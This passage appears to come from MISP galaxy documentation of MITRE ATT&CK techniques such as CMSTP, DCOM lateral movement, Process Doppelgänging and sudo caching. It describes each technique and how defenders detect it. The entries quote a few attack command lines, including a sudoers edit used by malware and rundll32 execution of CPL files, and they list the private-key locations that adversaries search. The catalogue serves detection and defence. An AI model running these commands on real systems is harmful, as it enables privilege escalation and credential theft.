Detection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.

Platforms: Windows

Data Sources: Process Monitoring, Process command-line parameters

Defense Bypassed: Application whitelisting, Anti-virus

Permissions Required: User

Remote Support: No

Contributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="CMSTP - T1191"*

Table 1894. Table References

Links
https://attack.mitre.org/wiki/Technique/T1191
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)
https://twitter.com/ItsReallyNick/status/958789644165894146
https://msitpros.com/?p=3960
https://twitter.com/NickTyrer/status/958450014111633408
https://github.com/api0cradle/UltimateAppLockerByPassList

Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

Detection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before Rundll32 is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)

Inventory Control Panel items to locate unregistered and potentially malicious files present on systems: *Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace</code> and <code>HKEY_CLASSES_ROOT\CLSID{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL) * CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec("c:\windows\system32\control.exe {Canonical_Name}", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL) *Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Controls Folder{name}\Shellex\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)

Analyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)

Platforms: Windows

Data Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs

Defense Bypassed: Application whitelisting, Process whitelisting

Permissions Required: User, Administrator, SYSTEM

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Control Panel Items - T1196"*

Table 1895. Table References

Links
https://attack.mitre.org/wiki/Technique/T1196
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

Distributed Component Object Model - T1175

Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

Detection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)

Monitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.

Monitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.

Platforms: Windows

Data Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Distributed Component Object Model - T1175"*

Table 1896. Table References

Links
https://attack.mitre.org/wiki/Technique/T1175
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom

Exploitation for Defense Evasion - T1211

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

Detection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.

Platforms: Linux, Windows, macOS

Data Sources: Windows Error Reporting, Process Monitoring, File monitoring

Defense Bypassed: Anti-virus, System access controls

Permissions Required: User

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Defense Evasion - T1211"*

Table 1897. Table References

Links
https://attack.mitre.org/wiki/Technique/T1211

Startup Items - T1165

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.

Detection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.

Platforms: macOS

Data Sources: File monitoring, Process Monitoring

Effective Permissions: root

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Startup Items - T1165"*

Table 1898. Table References

Links
https://attack.mitre.org/wiki/Technique/T1165
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

Man in the Browser - T1185

Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)

Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)

Detection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications

Platforms: Windows

Data Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring

Permissions Required: Administrator, SYSTEM

Contributors: Justin Warner, ICEBRG

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Man in the Browser - T1185"*

Table 1899. Table References

Links

https://attack.mitre.org/wiki/Technique/T1185
https://en.wikipedia.org/wiki/Man-in-the-browser
https://www.cobaltstrike.com/help-browser-pivoting
https://cobaltstrike.com/downloads/csmanual38.pdf
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses

Exploitation for Credential Access - T1212

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.

Platforms: Linux, Windows, macOS

Data Sources: Authentication logs, Windows Error Reporting, Process Monitoring

Permissions Required: User

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploitation for Credential Access - T1212"*

Table 1900. Table References

Links
https://attack.mitre.org/wiki/Technique/T1212
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
https://adsecurity.org/?p=1515

LC_LOAD_DYLIB Addition - T1161

Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time (Citation: Malware Persistence on OS X).

Detection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.

Platforms: macOS

Data Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="LC_LOAD_DYLIB Addition - T1161"*

Table 1901. Table References

Links
https://attack.mitre.org/wiki/Technique/T1161
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf

LSASS Driver - T1177

The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)

Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.

Detection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)

Utilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.

Utilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)

Platforms: Windows

Data Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring

Permissions Required: Administrator, SYSTEM

Remote Support: No

Contributors: Vincent Le Toux

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="LSASS Driver - T1177"*

Table 1902. Table References

Links
https://attack.mitre.org/wiki/Technique/T1177
https://technet.microsoft.com/library/cc961760.aspx
https://technet.microsoft.com/library/dn408187.aspx
https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx
https://technet.microsoft.com/en-us/sysinternals/bb963902

Data Staged - T1074

Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted.

Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.

Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process monitoring, Process command-line parameters

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Staged - T1074"*

Table 1903. Table References

Links
https://attack.mitre.org/wiki/Technique/T1074

Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

Detection: Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.

Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.

Platforms: Linux, Windows, macOS

Data Sources: SSL/TLS inspection, Anti-virus, Web proxy

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing via Service - T1194"*

Table 1904. Table References

Links
https://attack.mitre.org/wiki/Technique/T1194

New Service - T1050

When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry.

Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.

Detection: Monitor service creation through changes in the Registry and common utilities using command-line invocation. New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows

Data Sources: Windows Registry, Process monitoring, Process command-line parameters

Effective Permissions: SYSTEM

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="New Service - T1050"*

Table 1905. Table References

Links
https://attack.mitre.org/wiki/Technique/T1050
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://technet.microsoft.com/en-us/library/cc772408.aspx

Network Share Connection Removal - T1126

Windows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use)

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

Detection: Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares. SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters, Packet capture, Authentication logs

Defense Bypassed: Host forensic analysis

Permissions Required: User, Administrator

System Requirements: Established network share connection to a remote system. Level of access depends on permissions of the account used.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Share Connection Removal - T1126"*

Table 1906. Table References

Links
https://attack.mitre.org/wiki/Technique/T1126
https://technet.microsoft.com/bb490717.aspx

Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.

Platforms: Linux, Windows, macOS

Data Sources: File monitoring

Permissions Required: User

Contributors: Itzik Kotler, SafeBreach

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Private Keys - T1145"*

Table 1907. Table References

Links
https://attack.mitre.org/wiki/Technique/T1145
https://en.wikipedia.org/wiki/Public-key%20cryptography
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf
https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/

Process Doppelgänging - T1186

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017): * Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction. * Load – Create a shared section of memory and load the malicious executable. * Rollback – Undo changes to original executable, effectively removing malicious code from the file system. * Animate – Create a process from the tainted section of memory and initiate execution.

Detection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017)

Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)

Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

Platforms: Windows

Data Sources: API monitoring, Process Monitoring

Defense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection

Permissions Required: User, Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Doppelgänging - T1186"*

Table 1908. Table References

Links
https://attack.mitre.org/wiki/Technique/T1186
https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx
https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx
https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx
https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf
https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/
https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx

Trusted Relationship - T1199

Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.

Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.

Detection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.

Platforms: Linux, Windows, macOS

Data Sources: Application Logs, Authentication logs, Third-party application logs

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Trusted Relationship - T1199"*

Table 1909. Table References

Links
https://attack.mitre.org/wiki/Technique/T1199

Dynamic Data Exchange - T1173

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.

Detection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)

Monitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.

Monitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.

Platforms: Windows

Data Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs

Permissions Required: User

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Dynamic Data Exchange - T1173"*

Table 1910. Table References

Links
https://attack.mitre.org/wiki/Technique/T1173
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
https://www.contextis.com/blog/comma-separated-vulnerabilities
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://technet.microsoft.com/library/security/4053440
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee

Sudo Caching - T1206

The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. Combined with <code>tty_tickets</code> being disabled, means adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

Detection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.

Platforms: Linux, macOS

Data Sources: File monitoring, Process command-line parameters

Effective Permissions: root

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Sudo Caching - T1206"*

Table 1911. Table References

Links
https://attack.mitre.org/wiki/Technique/T1206
https://www.sudo.ws/
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does

Rc.common - T1163

During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

